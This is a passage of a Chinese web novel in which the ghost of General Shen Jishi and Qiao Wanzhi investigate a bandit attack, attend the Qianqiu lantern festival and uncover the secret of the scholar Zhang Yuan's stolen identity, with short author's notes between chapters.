沈寄时与他想个甚远,道:“周兄,浮屠峪一别,倒是许久不见。” 周季然定定看了好一会儿,移开目光嘲讽道:“沈危止早就已经死了,阁下到底是何人?我周季然从来不信鬼神之说,阁下又何必故弄玄虚?” 他说完,直接拔出长刀,毫不留情向眼前人砍去。 刀枪碰撞,下一秒长刀发出一声嗡鸣,从主人手中脱落。 沈寄时扯了扯唇角,眉眼一沉,声音飘渺,带着摄人寒意,“周季然,我且问你,昨日城外流寇一事,可与你有关?” 周季然见到他手中的止危枪,瞳孔微缩,看着眼前的故人,渐渐冷静下来。 他抿唇,问:“危止兄来寻我,竟不是为了叙旧吗?” 他转身倒了两杯茶,递给眼前鬼魅一杯,道:“许久不见,以茶代酒。” 沈寄时未接,声音冷得如淬霜雪,“周季然,你我生死之交,为何要害卿卿?” 周季然面容一僵,仰头将茶水一饮而尽。 苦涩在口中蔓延,他闭眸,再次睁眼时却突然抬手,一把握住长刀刀刃。 锋利的刀刃豁开掌心皮肤,鲜血自他掌心源源不断流下,很快在地上堆积成一小滩鲜血。 疼痛密密麻麻袭来,周季然低笑道:“危止兄,这个梦我不太喜欢,不如就此别过。” 话音一落,梦境坍塌。 端坐在书房中的中郎将缓缓睁眼,看向自己掌心。那里皮肉完好,丝毫不见伤口,可痛感却仿佛没有消退。 竟是,梦中梦。 窗外三更声响起,惊起落在屋檐上的鸱鸮。 蜡烛已经渐渐烧到尽头,提灯照出的光亮也逐渐变得暗淡。 桥妧枝立在树下一动不动,掌心却出了一层细汗。 夜风微凉,将她身后发丝吹起,衣袂于风中飘动,远远看去,好似夜间鬼魅。 不知立了多久,身侧终于出现一道熟悉的飘渺身影。 “沈郎君!” 她回过神,见是他,当即松了口气,“你总算回来了,已经进去了许久,我还以为出了什么变故。” 沈寄时脸色苍白,看着她没有出声。 他刚刚入梦时,最先看到了周季然的梦。他在梦中看到了阿娘,看到了自己,也看到了她。 承平二十五年的沈寄时刚刚十七,因为襄州一战被封为长宁侯,桀骜不驯眼高于顶,一心想要封狼居胥,可如今忆起,却是负她良多。 见他一直不说话,桥妧枝声音轻了许多,上前扶住他肩膀,低声道:“沈郎君,你受伤了吗?” 沈寄时扯了扯唇角,声音温和:“不曾,只是有些累。” 鬼怪入活人梦本就消耗精力,梦境又被周季然强行破开,于他而言损耗极大。 他道:“女郎遇到流寇的事情,确实与周将军有关,至于原因……” 他顿了顿,低声道:“还未曾问出,女郎待我恢复一些,我恢复一些,再重新入梦。” 听到这件事确实与周季然有关,桥妧枝一怔,眸中情绪翻涌。 “不必了。”她将手中提灯吹灭,“已经足够了,剩下的事情与郎君无关,总归这是我与沈寄时的事。只是郎君运气不太好,受了无妄之灾。” 沈寄时薄唇微动,未再出声。 苍穹之上乌云流动,桥妧枝收回目光,道:“沈郎君,月亮应当要出来了,我们回去吧。” 沈寄时点头,两人回身,动作却同时一顿。 周府大门紧闭,黄色的灯笼轻轻摇晃,一道人形黑雾在门前徘徊,却不进去,只围绕着灯笼打转,似在掏取灯笼中的烛火。 桥妧枝倒吸一口凉气,伸手拽了拽身侧人的袖子,低声道:“是他吗?” 她依旧看不清那团黑雾的脸。 沈寄时目光微沉,低声道:“张渊。” 正是在沈府之内,冒充沈寄时的那道生魂。 生魂原本在周府门前徘徊,可突然意识到什么,猛地转身,看到身后那两道人形,顿时大惊失色,当即化成一团黑雾逃走。 沈寄时双眸微眯,正要去追,却被人拉住了袖子。 “沈郎君。”桥妧枝摇了摇头,“不要去追,月亮马上就要出来了。” 乌云渐去,露出一角残月,照亮屋檐上的瓦片。 沈寄时肩上还未凝霜,却觉得周身很冷。 — 时隔多日,张太医提着药箱再次造访桥府。 “圣上的病越来越严重,这几日太医院忙得不可开交。” 张太医与桥大人道:“郁结于心,想尽了法子,病却不见好,唉。” 桥大人摇了摇头,神色有些讳莫如深。 圣人的病早就已经是公开的秘密,朝野上下无人不知。也正是因此,那些皇子近日来都有些不安分。 张太医不再多言,将指尖放在桥妧枝脉搏间,良久,轻轻蹙眉,道:“之前给女郎开得药可有在喝?” “一直在喝。” 张太医点头,又问:“女郎可有什么不适?” 桥妧枝摇头,“并未有什么不适,只是膝盖处有些擦伤。” “如此,女郎身体并无大碍。”张太医收回手,道:“女郎本就体弱,又因为流寇一事受到了惊吓,这段时日可能会多梦,喝些安神汤便可。” 一旁的桥夫人松了口气,喃喃自语道:“无事便好,无事便好。” 桥大人亦是松了口气,放下茶盏,对张太医道:“张大人,还请移步书房。” 张太医今日前来并非全然为了看诊,圣人有关的事情自然不能再在明面上说,两人起身正要离去,桥妧枝突然道:“爹爹,那些流寇……” 桥大人回身,神情一冷,道:“那些人自然不会留着,周季然与冯梁连夜提审,经过一夜严刑拷打,那些流寇对所犯罪行供认不讳,明日就会在午门问斩。脉脉,爹爹不会让你受委屈的。” 桥妧枝敛眸,没再出声。 — “朝中动荡,爹爹因为朝堂上的事已经焦头烂额,如今没有证据,我不能因为我的一面之词再让爹爹烦心。” 桥妧枝抱着小花,头也未抬,叹息道:“这件事可以再等一等,生魂不会无缘无故出现在周府,我想,流寇的事情应当也是与张渊的事情有关。” 沈寄时立在窗前,目光落在庭院中的合欢树上,低声道:“周季然与张渊有牵扯。” 桥妧枝低声道:“若是他们有关系,张渊这般了解我与沈寄时的事情,也就合理了。周季然这个人,我与他只打过几个照面,实在称不上熟悉。” 她努力回想之前的事情,低声道:“他这个人很古怪,平时总是面无表情凶巴巴,有好几次我去军营给沈寄时送吃的,都看到他一个人在演武场练武。” “但是他与沈寄时关系很好。”桥妧枝皱眉,抿唇道:“他们一起打过许多仗,有一次,他还曾为沈寄时挡了一箭。” 沈寄时目光深远,听着她的话,久久没有出声。 其实就连他自己都有些忘了,周季然到底是什么样的人。 桥妧枝也没再说话,过了许久,才想起什么连忙道:“沈郎君,我为你腾出一间屋子吧。” 她带他去了时常小憩的阁楼,这里即便是白日都光线昏暗,日头很难照进来。 “郎君如今怕月光,不能再呆在院中。” 她将窗台上的灰尘扫落,低声道:“我已经不再让郁荷进来了,不会有人发现郎君。” 沈寄时轻笑:“多谢女郎。” 桥妧枝摇了摇头,拿出那个掌心大小的纸扎猫,忐忑道:“之前一直忘记烧给郎君,郎君还要吗?” 沈寄时目光落在她掌心的纸扎猫上,轻轻点了点头,“要的。” 桥妧枝立即松了口气,眸光出奇亮,“今夜应当是个阴天,那我今晚就烧给郎君。” 正如她所言,今夜不见月光,沈寄时难得没有再受冰寒之苦。 桥妧枝用火折子将铜盆点燃,在他面前将那只纸扎猫投进火盆中。 片刻后,沈寄时身边多出一只纯白色的小猫。 那小猫看起来有些呆滞,却很会撒娇,不断在他褪边轻蹭。 窝在屋檐上的小花当即炸毛,如同见了鬼一般,一个蒙扎扑进桥妧枝怀中,唯独尾巴漏在外面瑟瑟发抖,不安地在桥妧枝手腕上蹭来蹭去。 沈寄时轻笑一声,蹲下身子,顺过白猫身后皮毛,轻轻在它额头一点。 下一瞬,白猫动作一顿,化作银光散去。 桥妧枝一怔,却听他道:“它并无生命,不消几日便会消散。若是吓坏了女郎怀中狸奴,得不偿失,既然早知结果,不如让它早日消散。” 天地生灵皆是由魂魄聚集,一个没有魂魄的纸质物件,又怎么会长存呢。 桥妧枝失落低头,道:“沈郎君,没有结果的事情,就要从一开始掐断吗?难道几日的光景便不是光景吗?” 沈寄时抿唇:“明知没有结果还要强求,伤人亦伤己。” “这便是郎君不愿给家人捎信的原因吗?” 沈寄时不语,只立在她身边,许久没有出声。 桥妧枝叹了口气,抱着小花坐在石阶上,看着面前熊熊燃烧的火光发呆。 铜盆中的火越来越小,少女突然道:“即便是知道结果,若是再有一次,我还是想要与沈寄时定亲。” 沈寄时未动,轻轻扯了扯唇角,无声道:“我也是。” 铜盆中仅存的火苗彻底熄灭了,浅浅一层余晖飘出桥府,游荡在长安城的长街上。 一只生魂缩在角落中瑟瑟发抖,他嗅到那淡淡的香火气,将自己蜷缩成一团。 张渊的身体还活着,无人给他烧奠品,他每日只能与孤魂野鬼争抢食物。 做鬼的滋味真不好受,可是他却已经不想再做人了。 29 第29章 ◎为九泉之下的爱人祈福◎ 九月底,丹桂飘香。 院中桂花开得正好,桥妧枝摘了一小盅放到院中晒干。却不想前脚刚晒出去,当天夜里,长安突然飘起了细雨。那雨很小,落在地上不见水痕,却刚好能打湿那一竹筛桂花。 长安的旱情依旧没有得到缓解,秋收的百姓都已渐渐麻木。 桥妧枝欲哭无泪,只好将桂花上的水沥干,试试能否重新晒干。 沈寄时撑伞,一言不发跟在她身后,随她在院中来回奔走。 辛辛苦苦晒的花瓣被打湿,桥妧枝很难不生气,一上午都绷着表情,将竹筛上那些湿漉漉的花瓣摊开在阳光下。 日光落在她身上,仿佛为她披上一层霓裳,沈寄时看着她气鼓鼓的侧脸,不由得握紧伞柄,微微出神。 少女未曾察觉他的目光,只恼火地看着那些辛苦挑选了许久却失了大半香味的花瓣,轻轻呼出一口气。 将竹筛放到能照到阳光的屋檐下,她转身,接过身侧郎君手中伞柄,低声问:“沈郎君的衣服,尚还合身吗?” 她说要烧给他的冬衣最终还是穿在了他身上,尺寸不大不小,很是合身。 沈寄时却敛眸,“衣袖处有稍许大,倒也并无影响。” 桥妧枝眨了眨眼,“原是未来得及烧给沈寄时的旧衣,郎君暂时用来御寒,过几日我悄悄去成衣铺为郎君定制一套合身的衣物,应当能赶在冬至前送来。” 沈寄时声线有些喑哑,低声道:“已是足够了。” 桥妧枝笑了笑,忽听墙外传来一阵喧嚣,咚咚炮声响彻云霄。 他们被炮声惊动同时抬头,只见天际一缕白烟,紧接着便有无数炮仗在天边炸开。 桥妧枝这才想起,今日是千秋节,圣人的诞辰。 上一次过千秋节已经是许多年前了,她忽然来了兴致,“沈郎君,今日若是无月,我带你去看灯吧。” 沈寄时目光落在她脸上,轻声说了一句:“好。” 上天垂怜,今夜无月,长安灯如昼。 满城花灯仿佛将众人带回多年前那个盛世,长街之上也是这般熙熙攘攘,人声鼎沸。 桥妧枝行走在兴宁坊的巷子里,看到各府门前的灯笼已经换成了彩色。 “去岁千秋节时,沈寄时的死讯刚传回长安不久,满城素缟,圣上一病不起,千秋节暂且搁置下来,没有置办。” “前年千秋节,长安正值百废待兴之时,朝中银两不够,圣人也未曾置办。” 桥妧枝想了想,对沈寄时道:“还记得上一次过千秋节,已经是东湖之乱以前了,难怪这么热闹。” 话音刚落,身后传来一道熟悉声音:“桥姑娘!” 冯梁今日穿得光鲜,快步行至她身边,灯笼照映下,脸颊微红,“真巧,竟在这里见到桥姑娘。” 他与少女并肩而行,兴奋道:“女郎也是出来看灯的?” 桥妧枝轻轻嗯了一声,倒是有些兴致缺缺。 冯郎君却不甚在意,与她说:“前不久因为流寇的事情,我本以为女郎今日不会出门看灯。” 顿了顿,他又道:“今日遇到了,也是我与女郎的缘分。” 兴许是怕被拒绝,他未开口说要同游,却一路上跟在她身边喋喋不休。他似乎有许多话要说,从蜀州说到长安,从市井说到朝廷,嘴巴一张一合,一刻也没有停歇。 桥妧枝安静听着,出于礼貌偶尔附和两句,目光却有些游离。 就在冯郎君说得兴起时,周遭忽爆起一阵欢呼,几簇烟花突然在天空炸开,星光倾泻而下,又在半空中消散。 很美,只是世间好物不坚牢。 冯梁目光一刻没有离开桥妧枝的脸,见她出神,连忙道:“青州的烟火比长安更好看,女郎若是喜欢,某下次路过青州时为女郎带回来些,定会比长安的还要好看。” 烟花砰砰作响,冯郎君示好的声音却格外清晰。 桥妧枝未出声,微微偏头,目光被一旁卖鱼形花灯的小摊吸引。 冯梁注意到她的视线,反应很快,连忙掏出袖中银两上前交涉。 只是,待他将灯买好,一转身,身后的女郎却已经不见了。 冯梁:“……” 他看了看手上精美的鱼尾灯,又看了看长街之上摩肩接踵的人群,缓缓垂下胳膊。 桥妧枝提裙跑了好一会儿,直到再也看不到冯郎君的影子,方才缓缓松了口气。 她刚刚跑得急,颇有些气喘吁吁,一边急促喘气一边向身后看去,好似身后有什么凶神恶煞的猛兽在追她。 身侧突然传来一阵低笑,少女狐疑看去,正巧看到身畔郎君还未来得及压下去的嘴角。 满街华灯,周遭人来人往,身躯有些透明的鬼魅站在桥上,笑起来如沐春风,身上的鬼气都消散几分。 桥妧枝知道他是在笑自己,腮帮微鼓,偏头去看挂在树枝上的花灯。 满街花灯各不相同,如今挂在他们头顶上的,是一个山雀模样的花灯。山雀花灯悬挂在柳树的枝条上,随着夜风卿卿摇晃,好似正在林中自由穿梭。 “女郎。”沈寄时开口,身影在花灯的照映下泛起一层薄光,声音带了些许落寞,“女郎其实不必对旁人示好避如蛇蝎。” 桥妧枝收回目光,淡淡嗯了一声,提裙向桥下走,“我对冯郎君并无意,沈郎君应当知道,何为当断不断反受其乱。他马上就要弱冠,没必要在我身上浪费时间。” 沈寄时与她并肩,低声道:“女郎若是无意便罢了,若是以后遇到中意的郎君,不要总是这样拒人于千里之外。” 这样的日子实在不适合谈论这样的话题,桥妧枝不置可否,行至桥下站定,岔开话题问:“郎君可有什么愿望,我为郎君写在字条上,放进河灯里。” 他们不远处,便有一个卖河灯的摊贩。 眼前的小河连接着护城河,若是运气好,河灯从长安一路飘走,能飘很远很远。 沈寄时没有接话,目光落在她身侧,低声道:“女郎,周将军在你身边。” 桥妧枝一怔,猛地转身,对上一双熟悉又冷淡的眸子。 她不知周季然是何时来的,有没有看到她犹如自言自语般说话,是否心中起疑。 她表情僵硬,正不知所措时,却听到周季然冷淡开口:“桥姑娘。” 桥妧枝抿唇,放出一个稍显僵硬的笑容,“中郎将。” 周季然点点头,与她擦肩而过,蹲在河边,将一盏玉兰花样的河灯放进水中,看它顺着水流悠悠飘走,越来越远。 等到再也看不见河灯的影子,周季然施施然起身,看向桥妧枝,语气依旧冷淡,“桥姑娘今日也是来放河灯吗?” “只是路过。” 周季然点了点头,却说:“周季然今日,是为九泉之下所爱之人祈福。” 他好似只为告诉她这一件事,说完,也不等她反应,握着腰间刀柄便走了。 桥妧枝:“……” 突然与她说这话,着实有些莫名其妙。 “听闻中郎将不近女色,何时有所爱之人?” 桥妧枝沉思,喃喃道:“还特意与我说来,难不成我识得他心爱之人吗?” 沈寄时看着周季然越走越远的身影,想到前不久无意中窥得那一梦境,藏在袖中的手微微收紧。 不会的,阿娘待周季然一直如同亲子,怎么会…… 他心绪翻涌,桥妧枝却在努力回想京中有谁家的女郎年纪轻轻便香消玉殒,可她思来想去,也没有什么头绪。 不知过了多久,沈寄时平复心绪,缓声道:“周将军身上,没有鬼魂纠缠的气息。” 桥妧枝心不在焉地点了点头,又很快意识到什么,猛地看向沈寄时。 沈寄时:“那个生魂,应当与周季然并不相熟。” 桥妧枝迟疑,“那他为何出现在周府?” “还不知。不过那个生魂与第一次见时相比虚弱了很多,应当无人供奉。生魂与死魂不同,死魂若是未入轮回便失去祭拜会沦为孤魂野鬼,生魂却不行,他们需要香火供奉,若是没有,便会一直惹急挨饿。” 想来也是,若是那人才是真正的张渊,在旁人眼中他并没有死,自然无人祭拜他。 桥妧枝想到那个生魂在周府前的灯笼上缠绕,轻声道:“他是饿急了,去够灯笼上的蜡烛?” 可是灯笼中的蜡烛,语鬼怪而言并无大用。 沈寄时指尖在扇骨上摩挲,“若是想知道原因,找到那个生魂便可。” 他说着,微微侧目,看向河岸对面。 桥妧枝顺着他目光看去,只见几个孩童正在收拾捕鸟的竹匾,竹匾上的线伸得极长,却始终握在孩童手中。 【作者有话说】 不好意思,最近感冒很严重,大家也要注意身体啊 Ps:你们不会被创饭了吧QAQ 30 第30章 ◎“卿卿……”◎ 今日长安灯火昼夜不息,临近子时,孔明灯自城内飘然而上,照亮大街小巷。 桥妧枝仰头,看到漫天明灯随风飘远,渐渐飘出城外。 不知过了多久,万里青天再也看不到孔明灯的影子,她才收回目光,轻笑道:“沈郎君,我们走吧。” 长安城外,孤山荒冢,百鬼夜行。 几只孔明灯烛火燃烧殆尽,落在没有碑的荒坟上,点燃了坟包上的枯草。 秋风起,火势稍大,周遭鬼哭狼号。 远处一人秉烛夜行,孤身一人进了这片坟场。他一袭青色长衫,不疾不徐走在小路上,好似并不被这里的阴森气氛影响。 孤魂野鬼嗅到活人的气息,纷纷停下哭嚎,摄人的目光缓缓移动,最终落在那人身上。 活人见不到鬼,除非恶鬼作恶才能显形,可若是作恶被阴差抓住,必定被投下炼狱,这些孤魂野鬼不敢轻易试探,只能看着男子手中的奠品眼馋。 张渊目不转睛向前走了许久,最终于一座无名荒冢前站定。 这是一座很古老的荒冢,前面没有碑文,无人知道荒冢之下是何人,只有年年吹又生的荒草在夜风中微微摇曳。 谁也不记得这里是从何时起变成了乱葬岗,只知道转眼百年,埋在这里的尸骨年年有新,一具接着一具融入这片拥挤又肮脏的土地。 手中的油灯被风吹得来回晃动,张渊半张脸被油灯照亮,好似与漫山遍野的孤魂野鬼没什么不同。 他在这座无名孤冢前站了不知多久,直到青衫被山风吹透,方才缓缓蹲下身子。 野草长得极快,几日不来就又是一片荒芜,他将坟头上的野草拔干净,这才用油灯将黄纸点燃。 灰烬随风四散,一瞬间便被周遭孤魂野鬼分食殆尽。周遭又响起了呼呼声,张渊没有抬头,只沉默将带来了奠品点燃。他带的东西太多,不知烧了多久,等到黄纸烧完时,漫山遍野已是余烬。 “程林。”他念着口中的名字,恍然见发现,这对于他竟已经很是陌生。 这个曾存在于史书上的名字,在过去的几十上百年中,一直是他的代名词,然而现在,他是张渊,一入长安便名动京城的举人张渊。 他看着这座曾属于自己的荒冢,无声扯了扯嘴角。 无人知晓,这是前朝文人程林的埋骨地。在程林与那女子双双被打死后,他的尸骨被人毫不留情地抛到了湖中喂鱼。 只是他运气好,遇到了一艘渔船,尸身被打捞上来,随手埋在了这里。 埋葬他的渔民并不知晓他是谁,只草草了事,与其说这里是坟,不如说这里是一个土堆。好在他并非无名之辈,死去百年偶尔也得人祭奠,这才没有变成魙鬼。 做人的感觉很好,做一个不会被人随便踩在脚下的人更好。 张渊缓缓起身,拿起油灯沿路向回走。后半夜风好像更大了些,呼呼声响彻在耳畔,也不知带了谁的叮嘱,还未入耳,便又散去。 角落了,一个与他长着同一张脸的生魂目送他远去,直到他身影再也看不见,方才呆滞回身。 他只是一个文弱书生,刚刚的香火他一点都没有抢到,还被那些野鬼教训了一通。除非他身死,到时候兴许会有人只为祭奠他上供,奠品才不会被那些恶鬼抢走。 只是,他还不知道要等多久。 生魂张渊缓缓向长安飘去,他居无定所,说不定能去长安城内碰碰运气。只是,希望再也不要碰到那只满身煞气的鬼了。 — 千秋节的第二日,日头出奇好,竹筛里晾晒的桂花经过一日一夜已经干了,只是香气远不胜从前。 “今年旱,桂花本就开得不多。” 桥妧枝低头将花瓣塞进罐子里,又顺手从一旁的白瓷碗中舀出甜甜的梅子酪塞进口里。 甜腻的梅香入口,少女腮帮子鼓起,顺手将罐子里的桂花压平。 她其实很喜欢吃酸甜口的吃食,以前在蜀州时,每到春末总会采摘青梅做成梅子酪吃。只是长安的梅子比蜀州要甜一些,从春日保存到现在,经过腌制,则变得很甜。她倒也不嫌弃,心情好就掏出一些做给自己吃。 回到长安时相国府的丫鬟仆人渐渐多了,也不是没有为她做过,可她还是总觉得自己做的更好吃,便不让他们碰她保存好的梅子。 沈寄时撑伞立在她对面,扫过她红润的唇,久久没有移开目光。 他盯得时间太久,桥妧枝察觉到什么,一抬头,就看到他目光闪烁地看向桌子上的白瓷碗。 她停下手上动作,看了看身边的梅子酪,迟疑地问:“沈郎君,你也想吃吗?” 沈寄时沉默一瞬,摇了摇头。 桥妧枝以为他是不好意思,将罐子放下,快步走到外间,不一会儿,又端进一碗梅子酪。 她将盛满梅子酪的碗递到沈寄时面前,眉眼一弯,道:“沈郎君不必客气,我这里有很多。” 她手指根根如葱,递过白瓷碗时,险些晃花了沈寄时的眼。 他未接,如同上次吃栗子一样,隔着一段距离嗅了嗅,道:“多谢女郎,很好吃。” “郎君若是还想吃,我再去拿。” “已经够了。” 桥妧枝便将碗放下,重新去铺桂花。 她铺的专心,不知不觉间碗中的梅子酪已经吃完,于是顺手拿起放在一旁的另一碗。 香甜一如既往,桥妧枝一边铺一边吃,吃下半碗,才意识到什么,眼皮一跳,看向沈寄时。 沈寄时正在用折扇逗猫,察觉到她的视线,缓缓回头,看到她手中的梅子酪,唇角笑意渐淡。 他们谁都没有说话,不知过了多久,沈寄时才低叹道:“女郎,一直没有告诉你,魙鬼与鬼不同,是吃不到人间吃食的。” 他尚且还是鬼的时候能够闻到栗子的香气,如今成了魙鬼,虽还有嗅觉,却吃不了阳间的东西。 人惧鬼,鬼惧魙鬼,然人与魙鬼却如同两条互不干扰的线,也是因此,人间道士时常请魙驱鬼。 桥妧枝敛眸,沉默良久,才道:“沈郎君一开始不说,是怕我愧疚吗?” 沈寄时笑道:“是女郎盛情难却。” 桥妧枝不懂,为什么这个时候他还能笑得出来。为什么,他总是不生气。 见她低头不说话,沈寄时问:“女郎想好我们什么时候去捕麻雀了吗?” 话题岔开的很生硬,但桥妧枝还是接下话茬,“我已经让秦掌柜准备了许多东西,若是今夜没有月亮,我们今夜就去。” 身后的合欢树早就已经没有半点殷红,天气渐冷,日光为院落铺上一层暖意,今日注定是个晴天。 夜间月正圆,桥妧枝白日里吃多了梅子酪,胃撑得有些难受。她抱着小花写完一封要烧给沈寄时的信,还是撑得睡不着。 今夜月光很亮,她屈腿侧坐在窗边,不由得想到不远处的阁楼。 这么亮的月光,沈郎君应该正在受霜寒之苦。总归是睡不着,她起身向阁楼走去。 缓步登上木梯,桥妧枝原本想看一眼就走,可刚到门口,却见满身覆盖霜雪之人正喃喃自语。 鬼使神差向前走去,她低声唤:“沈郎君?” “阿娘……” 她这一次听清了,沈郎君实在思念他的娘亲。 他从未与她说过家中人,可在最思念时,还是本能的想要找娘亲。 桥妧枝叹了口气,伸手扫下他肩头霜雪。 熟悉的皂角香袭,沈寄时眼皮轻动:“卿卿……” 这次声音小了许多,语调却与阿娘不一样,桥妧枝凑近一些去听,可等了许久,他却没再开口。 应但是听不到了。 正想要离开,他却又唤了一声:“卿卿……” 声音响在耳畔,震耳欲聋。 桥妧枝一怔,只觉得脑中嗡鸣作响,提灯亦从手中脱落。 【作者有话说】 沈寄时:生病使人脆弱。 小桥:思考ing 30-40 第31章 ◎“我曾有喜欢的女子”◎ 沈寄时死去的很长一段时间里,并不知晓时间的流逝。 人间一日,黄泉一年,死后的第一百日,他送走了浮屠峪的数万将士,独自一人留在浮屠峪满是霜雪的山谷间。 他本以为自己要独自一人在这里呆很久,却不想当天夜里,有阴差造访浮屠峪。 彼时他正坐在冰雪间,止危枪放在膝头,对阴差道:“这里已经没有能投胎的魂魄。” 那阴差对他倒很恭敬,道:“长宁侯,吾是来寻你的。” 能投胎的魂魄要进酆都,不能投胎的残魂其实只需等四个甲子自行消散便可,可阴差道:“残魂本可不入黄泉,可你身上煞气太重,不可逗留人间,否则将有祸事。黄泉内有一片残魂聚集的虚无之地,按照阴律,长宁侯要去那里安身。” 那段时日,浮屠峪山谷中霜雪凝结成冰,寒风从早吹到晚,沈寄时穿着厚厚的氅衣依旧感受不到暖意。 真要论起来,他并非遵纪守法之人,不想入黄泉便不入,即便是阴差又能奈他何? 可天地无归处,他看着漫天冰雪,施施然起身,道:“走吧。” 也不知为何,自从死后,他好像便开始怕冷了,他不想在留在这寂寥的身死之地了。 阴差见他配合亦松了口气,带他向黄泉走去。 黄泉虚无地,无数因为煞气太重无法留在人间的恶鬼残魂被关在这里,一踏入此地,便有浓重煞气扑面而来。 沈寄时面不改色踏进,寻了一处空旷地盘腿而坐。兴许是他生前杀了太多人,那些恶鬼并不敢来触他的眉头,他无所事事,便总是闭目沉思,眼眸一开一合间,时间便好似过去很久。 直到有一日,他收到了人间寄来的香火。不大的包裹中,有厚厚一叠冥钱纸币,亦有他喜欢吃的梨花酥,还有一件厚厚的冬衣。冬衣针脚细密,袖口上还绣着一只狸奴。 那些东西很快吸引许多注意力,聚集在这里的残魂大多是生前作恶多端之人,无人为他们供奉,见到沈寄时手上的东西不由得面露贪欲,纷纷露出本相,嘶吼着向他扑去。 那一日,在这片虚无之地中,恶念与煞气冲天,沈寄时却面不改色,提起那柄凛冽长枪,冷冷扫过那群恶鬼,语气是万年不改的桀骜,“找死!” 他不只是沈寄时,亦是纵横沙场的少年将军,是大梁的长宁侯,生前死后,没人能从他手中抢到东西。即便是鬼,也不行。 这片虚无之地再次安静下来时,变得空旷了许多,那些凶神恶煞的残魂已经不见踪影。 长枪枪尖划在地上,发出尖锐刺耳的嗡鸣。余下的恶鬼残魂纷纷退避三舍,不敢靠近,为他走过的地方留出一大片空地。 沈寄时身上的煞气更重了,他将长枪收起,缓缓拿起地上的包裹,不经意间,从里面掉出一封厚厚的信件。 在浮屠峪的那一百日,他隔三岔五便能收到桥脉脉寄来的信件,只是这一次,他恍惚间察觉到,距离他上一次收到桥脉脉寄来的信件已经过去许久了。 至于是多久,他自己都不知道。 他擦去嘴角的血迹,看完信件,揪起身边的一缕残魂,冷声询问,“自我来时起,已经过去了多久?” 那残魂惧怕他身上的煞气,不由得抖如糠筛,颤声道:“若是没有计算错,已经是五年之久。” “五年?” 沈寄时眸中闪过一瞬间的迷茫,随后神色微冷,枪尖抵在残魂的脑袋上,“怎会五年,我妻子每隔几日便会给我寄一封信,怎么到了你这里便成了五年?” 残魂一惊,连忙指着地上密密麻麻的横线道:“每过一日我便会在这里划上一道,自你来时,已经划上一千八百道,确实是五年,绝无欺骗之意!” 沈寄时看着地上的横线,剑眉微沉,“怎会如此?” “郎君,人间一日,黄泉一年,你在此地五年,人间不过短短五日。” 沈寄时一怔,松开他,看着手中带着淡淡皂角香的信件,低声问:“酆都也是这样?” 残魂答:“入了黄泉,便与人间不同了,即便是酆都也是这样。” 人间一日黄泉一年,这兴许就是天道的聪慧之处。 贪嗔痴欲,只要是人便有执念,可时间久了,再重的执念也能放下,心甘情愿饮下孟婆汤,哪里有什么再续前缘。 兴许,这才是人们所说的人鬼殊途。 沈寄时将信件放进心口,缓缓闭上眸子。 这片虚无地偶尔会有新的恶鬼进入,总是不长眼地前来触他霉头,久而久之,他身上的煞气竟比之前还要重。时间久了,口耳相传,大家惧他身上气息,也就无人再敢前来招惹。 沈寄时过了很长一段无趣的日子,鬼生漫长,他睡的时间越来越久,短暂的清醒时他就会回想长安的人与事。 桥脉脉、阿娘、沈萤、周季然、李御…… ——“沈寄时,你能不能不要这么任性!我们退婚吧!” ——“阿时,只解沙场为国死……”。 ——“兄长,青城山上有一种云雀,你帮我捉一只。” ——“沈寄时,下山给我带一只烧鸡。” 不知不觉间,他死后的日子已经比他活着的时候还要长了。 好在他还有所期盼,每隔五年,他便能收到一封信件。有时读着这些信件,他才能意识到,原来对于人世间而言,他还并没有死去太久。 人间的书信每隔几年便会寄来一封,直到他收到第七十六封信时,忽听到熟悉的声音在远方唤他。 “沈寄时……魂兮归来……” 他抬头,那片虚无之地突然出现一条路,一股力量强行将他引回长安故土。 那道声音越来越大,少年缓缓睁眼,看到晨曦透过阁楼的小窗照在身前的空地上,倒映出烛台的影子。 他身上厚重的霜雪已经消退,周身围绕上一股暖意。窗边传来云雀叽叽喳喳的叫声,将他思绪唤回,这里是人间,不是黄泉虚无地。 沈寄时起身,顺着连廊踱步至庭院中,却见桥妧枝闺房门敞开,郁荷正在里面清扫。 小花揣着前肢晒太阳,余光看到他,懒洋洋地甩了甩尾巴,没有凑上来亲近。 她不在? 去了哪里? 为何不叫他? 沈寄时心一沉,立在连廊下,久久没有动作。 与此同时,桥府的马车上,桥妧枝心不在焉望着窗外景象,脑海中却满是那一声虚弱的卿卿。 桥大人即便在闭目养神,也能察觉到她的神思不属,不由问道:“脉脉今日怎么想起随爹爹去清点商铺,你不是向来不喜欢这些东西?” 桥妧枝回神,将帘子放下,低声道:“在家中待久了,觉得无趣。” 以为她还在与桥夫人置气,桥大人低叹一声,“你阿娘是为了你好,脉脉知道的,在之前爹爹并不相信这些怪力乱神之言。” 桥妧枝点了点头,不知爹爹为何会突然提起这件事。 桥大人想到许久之前的事情,叹息道:“东胡之乱那一年,你与我们走散,逃亡途中,你阿娘因为担心你,整日垂泪,身子很是虚弱。有一日夜里,她从梦中惊起,说见到一只鬼。” 桥妧枝有些惊讶地抬头,她从不知道还有这样的事。 桥大人摇了摇头,“她见到的那只鬼,是上将军沈烈,也就是沈寄时刚刚去世的父亲。” 桥妧枝猛地睁大眼睛,却听桥大人继续道:“沈将军在梦中告诉你阿娘,你与沈寄时在一处,让她不要担心,沈寄时会将你平安送回来。你阿娘原本还想要追问,可沈将军却不愿再说,匆匆便离开了。” “彼时大梁风雨飘摇,圣人忌讳鬼怪之说,我便没有将这件事告诉他人,再加上你阿娘那段时日太过担心你,我只以为是她日有所思夜有所梦,并未放在心上。如今想想,也是从那时起,你阿娘就很相信鬼怪之说。” “若是这世上真有鬼神,阿爹想,以沈寄时的性格,必定不会回来寻你。有些事情,你阿娘不愿与你说,但是脉脉,人生难得圆满,学会放下才好。” 桥妧枝心口仿佛被堵了什么东西,格外难受,她偏头,抿唇道:“爹爹,十二皇子何时回京?” 话锋转折太快,桥大人未反应过来,“什么?” “十二皇子不是去了洛阳,如今已经将近三个月,不知何时回京?” 桥大人沉吟了一会儿,推测道:“圣人身体日渐虚弱,洛阳的事情也已经处理得差不多。已经有不少人传信给十二皇子催他回京,应当过不了几日就会有消息传来。” 话音刚落,马车缓缓停下。 小厮的声音在外响起:“大人,到了。” 桥大人揉了揉眉心,“知道了。” 桥妧枝跟在桥大人身后下马车,刚刚站定,看到抱着书籍立在门前的人,不由得微微蹙眉。 张渊脸上亦是闪过错愕,慌乱低头,上前行礼,“学生张渊,拜见相国大人。” 